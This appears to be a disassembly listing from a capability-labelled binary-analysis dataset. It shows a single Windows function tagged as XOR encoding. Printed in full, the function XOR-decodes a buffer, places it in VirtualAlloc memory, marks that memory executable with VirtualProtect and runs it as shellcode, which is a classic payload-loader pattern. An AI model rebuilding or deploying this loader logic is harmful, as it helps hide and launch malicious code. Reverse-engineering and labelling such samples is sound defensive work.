Function at 0x1400070f0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1400070f0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
call fcn.1400014f6
mov ecx, 0x228
mov rdi, rax
call fcn.1400029f0
mov esi, 2
mov rbx, rax
mov rcx, rax
mov eax, esi
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
lea rdi, [rdi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdi - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdi - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdi - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdi - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdi - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdi - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140007140
movups xmm0, xmmword [rdi]
mov eax, dword [rdi + 0x10]
lea r8, [rbx + 2]
mov r9d, esi
lea r11, str.QnMIZ0ZZC6xo
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
mov r10d, 0x2e
nop dword [rax]
nop word [rax + rax]
lea ecx, [r9 - 2]
mov eax, 0x2aaaaaab
imul ecx
lea r8, [r8 + 6]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 - 1]
movzx eax, byte [rax + r11]
xor byte [r8 - 8], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 7], al
mov eax, 0x2aaaaaab
imul r9d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
lea ecx, [rdx + rdx*2]
shl ecx, 2
sub eax, ecx
lea ecx, [r9 + 1]
cdqe
movzx eax, byte [rax + r11]
xor byte [r8 - 6], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 2]
movzx eax, byte [rax + r11]
xor byte [r8 - 5], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
lea ecx, [r9 + 3]
add r9d, 6
movzx eax, byte [rax + r11]
xor byte [r8 - 4], al
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r8 - 3], al
sub r10, 1
jne 0x1400071c0
mov edx, 0x114
lea rcx, str.___Allocating__d_bytes_of_memory_n
call fcn.1400024f0
xor ecx, ecx
mov edx, 0x114
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400072fb
mov eax, 0xffffffff
jmp 0x140007394
mov rcx, rdi
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rsi, 1
jne 0x140007300
movups xmm0, xmmword [rbx]
lea r9, [rsp + 0x20]
mov edx, 0x114
lea r8d, [rsi + 0x20]
movups xmmword [rcx], xmm0
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Executing_n
call fcn.1400024f0
call rdi
xor edx, edx
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
call fcn.1400024f0
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14000255e
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret